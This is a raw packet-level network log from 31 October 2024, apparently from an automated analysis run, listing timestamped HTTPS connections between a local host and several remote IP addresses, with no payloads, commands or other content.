Oct 31, 2024 21:55:15.063623905 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.063632011 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.063657999 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.063672066 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.064217091 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.064235926 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.064291000 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.064299107 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.064341068 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.065165043 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.065165043 CET	51028	443	192.168.2.16	13.85.23.206
Oct 31, 2024 21:55:15.065180063 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.065212011 CET	443	51028	13.85.23.206	192.168.2.16
Oct 31, 2024 21:55:15.065242052 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.065249920 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.065291882 CET	51028	443	192.168.2.16	13.85.23.206
Oct 31, 2024 21:55:15.065321922 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.065962076 CET	51028	443	192.168.2.16	13.85.23.206
Oct 31, 2024 21:55:15.065982103 CET	443	51028	13.85.23.206	192.168.2.16
Oct 31, 2024 21:55:15.066065073 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.066078901 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.066133976 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.066140890 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.066168070 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.066190004 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.066600084 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.066616058 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.066672087 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.066680908 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.066720963 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.068128109 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.068145037 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.068196058 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.068205118 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.068252087 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.068672895 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.068694115 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.068749905 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.068758011 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.068809032 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.069207907 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.069222927 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.069282055 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.069297075 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.069343090 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.070269108 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.070283890 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.070343018 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.070350885 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.070394993 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.070635080 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.070689917 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.070698977 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.070736885 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.070899963 CET	53736	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.070914984 CET	443	53736	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.073659897 CET	53721	443	192.168.2.16	13.107.246.67
Oct 31, 2024 21:55:15.073673010 CET	443	53721	13.107.246.67	192.168.2.16
Oct 31, 2024 21:55:15.073996067 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.074019909 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.074085951 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.074317932 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.074327946 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.292095900 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.292419910 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.292442083 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.292728901 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.293037891 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.293090105 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.293176889 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.339333057 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.343373060 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.748833895 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.750880957 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.751748085 CET	51026	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.751779079 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.752091885 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.752120972 CET	443	51027	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:15.752568960 CET	51026	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.752631903 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.752795935 CET	51027	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:15.752820015 CET	443	51027	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:15.752949953 CET	51026	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.753669977 CET	443	51027	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:15.753709078 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.753715992 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.753727913 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.753731966 CET	51027	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:15.753813982 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.753820896 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.753871918 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.754157066 CET	51027	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:15.754206896 CET	443	51027	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:15.754379034 CET	51027	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:15.754384041 CET	443	51027	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:15.754966021 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.754983902 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.755024910 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.755031109 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.755067110 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.769444942 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.769458055 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.769582987 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.769587994 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.774322033 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.774338961 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.774403095 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.774408102 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.776216030 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.776228905 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.776289940 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.776294947 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.795382977 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.804507971 CET	51027	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:15.819188118 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.887197971 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.887208939 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.887249947 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.887298107 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.887309074 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.887372971 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.887696981 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.887716055 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.887778997 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.887784004 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.887828112 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.888184071 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.888241053 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.888247013 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.888286114 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.888735056 CET	53740	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.888746023 CET	443	53740	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.894033909 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.894052982 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.894149065 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.894408941 CET	51030	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:15.894421101 CET	443	51030	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:15.894812107 CET	443	51028	13.85.23.206	192.168.2.16
Oct 31, 2024 21:55:15.894900084 CET	51028	443	192.168.2.16	13.85.23.206
Oct 31, 2024 21:55:15.897058010 CET	51028	443	192.168.2.16	13.85.23.206
Oct 31, 2024 21:55:15.897083044 CET	443	51028	13.85.23.206	192.168.2.16
Oct 31, 2024 21:55:15.897327900 CET	443	51028	13.85.23.206	192.168.2.16
Oct 31, 2024 21:55:15.898430109 CET	51028	443	192.168.2.16	13.85.23.206
Oct 31, 2024 21:55:15.903232098 CET	51031	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:15.903284073 CET	443	51031	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:15.903371096 CET	51031	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:15.903631926 CET	51031	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:15.903659105 CET	443	51031	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:15.939372063 CET	443	51028	13.85.23.206	192.168.2.16
Oct 31, 2024 21:55:15.994005919 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.032429934 CET	443	51028	13.85.23.206	192.168.2.16
Oct 31, 2024 21:55:16.032602072 CET	51028	443	192.168.2.16	13.85.23.206
Oct 31, 2024 21:55:16.032649994 CET	443	51028	13.85.23.206	192.168.2.16
Oct 31, 2024 21:55:16.032674074 CET	51028	443	192.168.2.16	13.85.23.206
Oct 31, 2024 21:55:16.032757998 CET	443	51028	13.85.23.206	192.168.2.16
Oct 31, 2024 21:55:16.032787085 CET	443	51028	13.85.23.206	192.168.2.16
Oct 31, 2024 21:55:16.032846928 CET	51028	443	192.168.2.16	13.85.23.206
Oct 31, 2024 21:55:16.042180061 CET	51026	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.049403906 CET	51032	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:55:16.049428940 CET	443	51032	172.202.163.200	192.168.2.16
Oct 31, 2024 21:55:16.049511909 CET	51032	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:55:16.049829006 CET	51032	443	192.168.2.16	172.202.163.200
Oct 31, 2024 21:55:16.049835920 CET	443	51032	172.202.163.200	192.168.2.16
Oct 31, 2024 21:55:16.092022896 CET	443	51027	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:16.092096090 CET	443	51027	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:16.092169046 CET	51027	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:16.092663050 CET	51027	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:16.092679024 CET	443	51027	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:16.092688084 CET	51027	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:16.092734098 CET	51027	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:16.110559940 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.110570908 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.110616922 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.110651970 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.110666037 CET	51026	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.110697031 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.110733032 CET	51026	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.110761881 CET	51026	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.118432045 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.118447065 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.118534088 CET	51026	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.118551016 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.118607044 CET	51026	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.178862095 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.179109097 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.179121971 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.179426908 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.179713964 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.179766893 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.179822922 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.223354101 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.234116077 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.234133005 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.234234095 CET	51026	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.234266996 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.234324932 CET	51026	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.240137100 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.240206003 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.240237951 CET	51026	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.240303040 CET	51026	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.240546942 CET	51026	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.240576982 CET	443	51026	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.425307989 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.470192909 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.542224884 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.542236090 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.542294025 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.542319059 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.542354107 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.542377949 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.542414904 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.542440891 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.549365997 CET	443	51031	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:16.549633980 CET	51031	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:16.549683094 CET	443	51031	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:16.549892902 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.549906969 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.550000906 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.550021887 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.550082922 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.550584078 CET	443	51031	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:16.550669909 CET	51031	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:16.550987959 CET	51031	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:16.550987959 CET	51031	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:16.551052094 CET	51031	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:16.551058054 CET	443	51031	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:16.551124096 CET	51031	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:16.551304102 CET	51033	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:16.551352024 CET	443	51033	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:16.551440954 CET	51033	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:16.551611900 CET	51033	443	192.168.2.16	188.114.96.3
Oct 31, 2024 21:55:16.551630020 CET	443	51033	188.114.96.3	192.168.2.16
Oct 31, 2024 21:55:16.773210049 CET	49680	80	192.168.2.16	192.229.211.108
Oct 31, 2024 21:55:16.829102993 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.829113960 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.829166889 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.829221964 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.829243898 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.829271078 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.829297066 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.829576015 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.829593897 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.829669952 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.829674959 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.829730988 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.830025911 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.830041885 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.830115080 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.830120087 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.830177069 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.834043980 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.834062099 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.834150076 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.834155083 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.834208012 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.835876942 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.835891008 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.835958004 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.835963011 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.836002111 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.837869883 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.837883949 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.837958097 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.837963104 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.838010073 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.839760065 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.839773893 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.839845896 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.839850903 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.839889050 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.841730118 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.841742992 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.841814995 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.841820002 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.841872931 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.843686104 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.843699932 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.843774080 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.843776941 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.843826056 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.844898939 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.844912052 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.844996929 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.845001936 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.845046043 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.847044945 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.847058058 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.847146988 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.847151995 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.847193003 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.911161900 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.911175966 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.911252022 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.911263943 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.911334038 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.911664009 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.911678076 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.911751032 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.911756992 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.911818027 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.916414976 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.916430950 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.916516066 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.916522026 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.916567087 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.916976929 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.916990995 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.917059898 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.917064905 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.917109966 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.917691946 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.917705059 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.917778015 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.917782068 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.917823076 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.918086052 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.918100119 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.918184996 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.918190002 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.918234110 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.918669939 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.918683052 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.918756962 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.918761015 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.918811083 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.919367075 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.919380903 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.919446945 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.919451952 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.919498920 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.919703007 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.919718981 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.919775963 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.919780016 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.919830084 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.920541048 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.920553923 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.920629025 CET	51029	443	192.168.2.16	152.199.21.175
Oct 31, 2024 21:55:16.920633078 CET	443	51029	152.199.21.175	192.168.2.16
Oct 31, 2024 21:55:16.920680046 CET	51029	443	192.168.2.16	152.199.21.175
